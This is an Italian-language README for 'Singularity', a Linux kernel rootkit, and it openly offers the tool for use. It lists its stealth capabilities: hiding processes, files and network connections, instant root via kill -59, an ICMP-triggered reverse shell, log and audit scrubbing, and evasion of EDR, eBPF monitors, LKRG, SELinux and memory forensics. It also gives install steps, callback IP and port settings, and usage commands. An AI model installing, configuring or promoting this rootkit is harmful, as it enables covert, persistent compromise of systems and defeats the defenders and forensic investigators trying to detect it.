Singularity - Rootkit stealth per il kernel Linux
"Diamo un po' di lavoro alla forense?"
Singularity è un potente rootkit per Linux Kernel Module (LKM) progettato per i moderni kernel 6.x. Fornisce complete capacità di stealth attraverso l'hooking avanzato delle system call tramite l'infrastruttura ftrace.
Articolo di ricerca completo (versione obsoleta): Singularity: A Final Boss Linux Kernel Rootkit
Caso di studio sull'evasione degli EDR: Bypassing Elastic EDR with Singularity
Video POC: Singularity vs strumenti di sicurezza eBPF: Singularity vs eBPF security tools
Violare la sicurezza eBPF con gli hook di Singularity: Breaking eBPF
Singularity Rootkit: Evadere il rilevamento del caricamento del modulo Elastic Defend Bypassing Elastic Defend
Cos'è Singularity?
Singularity è un rootkit sofisticato che opera a livello kernel, fornendo:
- Occultamento dei processi: Rende qualsiasi processo completamente invisibile al sistema
- Occultamento di file e directory: Nasconde file utilizzando il pattern matching
- Stealth di rete: Nasconde connessioni TCP/UDP, porte e voci conntrack
- Escalation dei privilegi: Accesso root istantaneo basato su segnali
- Sanificazione dei log: Filtra i log del kernel e i journal di sistema in tempo reale
- Auto-occultamento: Si rimuove dalle liste dei moduli e dal monitoraggio di sistema
- Accesso remoto: Reverse shell attivata via ICMP con occultamento automatico
- Anti-rilevamento: Evade gli strumenti di sicurezza runtime basati su eBPF (Falco, Tracee), aggira il Linux Kernel Runtime Guard (LKRG) e previene i tentativi di bypass tramite io_uring
- Evasione dell'audit: Elimina i messaggi di audit per i processi nascosti a livello netlink con tracciamento delle statistiche e filtraggio degli inode dei socket
- Evasione della forense sulla memoria: Blocca l'acquisizione tramite LiME e AVML; azzera le pagine dei moduli e i task_struct nascosti nei dump fisici; filtra /proc/kcore, /proc/kallsyms, /proc/vmallocinfo
- Filtraggio dei cgroup: Filtra i PID nascosti da cgroup.procs
- Evasione di syslog: Esegue l'hook di do_syslog per filtrare l'accesso al ring buffer del kernel tramite klogctl()
- Evasione di debugfs: Filtra l'output di strumenti come debugfs che leggono dispositivi a blocchi raw
- Filtraggio di conntrack: Nasconde le connessioni da /proc/net/nf_conntrack e dalle query netlink SOCK_DIAG/NETFILTER
- Evasione di SELinux: Bypass automatico della modalità enforcing di SELinux al trigger ICMP
- Bypass di LKRG: Evade i meccanismi di rilevamento del Linux Kernel Runtime Guard
- Bypass della sicurezza eBPF: Nasconde i processi dagli strumenti di sicurezza runtime basati su eBPF (Falco, Tracee)
Funzionalità
- Elevazione dei privilegi basata su segnali (kill -59)
- Occultamento completo dei processi da /proc e dagli strumenti di monitoraggio
- Occultamento del filesystem basato su pattern per file e directory
- Occultamento delle connessioni di rete da netstat, ss, conntrack e analizzatori di pacchetti
- Filtraggio avanzato netlink (SOCK_DIAG, messaggi NETFILTER/conntrack)
- Filtraggio in tempo reale dei log del kernel per dmesg, journalctl e klogctl
- Auto-occultamento del modulo da lsmod e /sys/module
- Normalizzazione automatica del flag di taint del kernel
- Filtraggio dei dati BPF per prevenire il rilevamento basato su eBPF
- Protezione io_uring contro il bypass dell'I/O asincrono
- Mascheramento dei log per i messaggi del kernel e i log di sistema
- Evasione dei rilevatori di rootkit standard (unhide, chkrootkit, rkhunter)
- Tracciamento e occultamento automatico dei processi figli tramite hook sui tracepoint
- Supporto multi-architettura (x64 + ia32)
- Filtraggio a livello di pacchetto di rete con protezione dei socket raw
- Protezione contro tutte le varianti di I/O su file (read, write, splice, sendfile, tee, copy_file_range)
- Filtraggio dei messaggi di audit a livello netlink con tracciamento delle statistiche per evadere il rilevamento di auditd
- Tracciamento degli inode dei socket per un occultamento completo della rete
- Filtraggio dei PID nei cgroup per prevenire il rilevamento tramite
/sys/fs/cgroup/*/cgroup.procs
- Blocco di TaskStats netlink per prevenire l'enumerazione dei PID
- Resistenza all'acquisizione della memoria fisica: kprobe su
copy_mc_to_kernel intercetta le copie di pagine di LiME e reindirizza le pagine dei moduli e gli intervalli dei task_struct nascosti verso buffer azzerati; AVML bloccato tramite hook di lettura su /proc/kcore
- Filtraggio delle letture di /proc/kcore, /proc/kallsyms, /proc/vmallocinfo
- Hook di do_syslog per filtrare klogctl() e prevenire fughe dal ring buffer del kernel
- Filtraggio dell'output dei dispositivi a blocchi per evadere debugfs e strumenti simili di forense su disco
- Filtraggio dell'output di journalctl -k tramite hook di scrittura
- Capacità di bypass della modalità enforcing di SELinux per shell attivate via ICMP
- Bypass dei controlli di integrità di LKRG per i processi nascosti
- Occultamento degli eventi di Falco tramite ringbuffer BPF e intercettazione degli eventi perf
Installazione
Prerequisiti
- Kernel Linux 6.x
- Header del kernel per il kernel in esecuzione
- GCC e Make
- Accesso root
Installazione rapida
cd /dev/shm
git clone https://github.com/MatheuZSecurity/Singularity
cd Singularity
sudo bash setup.sh
cd ..
Questo è tutto. Il modulo automaticamente:
- Si nasconde da lsmod, /proc/modules, /sys/module
- Cancella i flag di taint del kernel
- Filtra le stringhe sensibili da dmesg, journalctl -k, klogctl
- Inizia a proteggere i tuoi file e processi nascosti
Note importanti
Il modulo si nasconde automaticamente dopo il caricamento
Non esiste una funzione di scaricamento - è necessario un riavvio per rimuoverlo
Testa prima in una VM - non può essere rimosso senza riavviare
Configurazione
Imposta l'IP e la porta del tuo server
Modifica include/core.h:
#define YOUR_SRV_IP "192.168.1.100" // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } // IPv6 if needed
Modifica modules/icmp.c:
#define SRV_PORT "8081" // Change this to your desired port
Modifica modules/bpf_hook.c:
#define HIDDEN_PORT 8081 // Must match SRV_PORT
Modifica modules/hiding_tcp.c:
#define PORT 8081 // Must match SRV_PORT
Importante: tutte le definizioni delle porte devono corrispondere per il corretto funzionamento dell'occultamento della rete e della reverse shell ICMP.
Utilizzo
Nascondere i processi
# Hide current shell
kill -59 $$
# Hide specific process
kill -59 <PID>
Il processo sarà invisibile a ps, top, htop, /proc e a tutti gli strumenti di monitoraggio. Tutti i processi figli vengono tracciati e nascosti automaticamente.
Nascondere File e Directory
I file che corrispondono ai pattern configurati vengono nascosti automaticamente:
mkdir singularity
echo "secret" > singularity/data.txt
# Invisible to ls, find, locate
ls -la | grep singularity
# (no output)
# But you can still access it
cat singularity/data.txt
# secret